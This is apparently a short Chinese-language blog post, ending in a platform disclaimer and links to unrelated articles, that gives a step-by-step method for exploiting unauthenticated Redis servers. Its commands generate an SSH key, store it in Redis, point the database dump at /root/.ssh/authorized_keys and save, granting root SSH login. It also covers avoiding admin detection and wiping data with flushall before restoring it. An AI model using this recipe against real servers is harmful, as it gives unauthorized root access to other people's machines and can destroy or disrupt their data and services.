Redis 未授权访问缺陷

先生成一对公钥私钥

ssh-keygen -t rsa -C "redis"

然后选择一下默认的就可以生成redis.pub公钥和redis私钥文件。

(echo -e "\n\n"; cat redis.pub; echo -e "\n\n")>redis.txt

把换行符写在开头和结尾,不会和别的数据混淆。然后执行

cat redis.txt|./redis-cli -h 127.0.0.1 -x set 1

./redis-cli -h 127.0.0.1 config set dir /root/.ssh

./redis-cli -h 127.0.0.1 config set dbfilename authorized_keys

./redis-cli -h 127.0.0.1 save

缺点有两个:会覆盖这个文件authorized_keys,如果原来服务器上管理员是使用过公钥的方法登陆就会导致管理员的公钥失效,容易被管理员发现。

还有一个缺点就是在数据库中数据太多的情况下,这个方法会无效。

可以通过备份数据库保存dump.rdb文件,再删除数据flushall

攻击之后再恢复,恢复数据需要先把dump.rdb放到redis/src目录下然后重启redis-server。需要重启redis服务是个缺点,服务会中断而且flushall也太暴力了。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • ** 一、漏洞描述和危害 **Redis因配置不当可以未授权访问,被攻击者恶意利用。攻击者无需认证访问到内部数据,...
    是Jonathan阅读 12,361评论 0 2
  • 重点参考链接: http://www.cnblogs.com/wangyuyu/p/3786236.html Re...
    Kevin_Junbaozi阅读 6,518评论 0 21
  • NOSQL类型简介键值对:会使用到一个哈希表,表中有一个特定的键和一个指针指向特定的数据,如redis,volde...
    MicoCube阅读 9,485评论 2 27
  • 告诉自己只要熬过去就好, 时间就是良药,希望你有悲伤亦有快乐 ,希望你痛并快乐着然后学会成长。
    张伟kk阅读 441评论 0 0
  • 都说,和文字沾上边的孩子是不快乐的。可是当有一天你突然发现,紧握右手的钢笔再无法将隐匿内心的文字一笔一笔刻画在素白...
    晴天_无雨阅读 1,501评论 0 0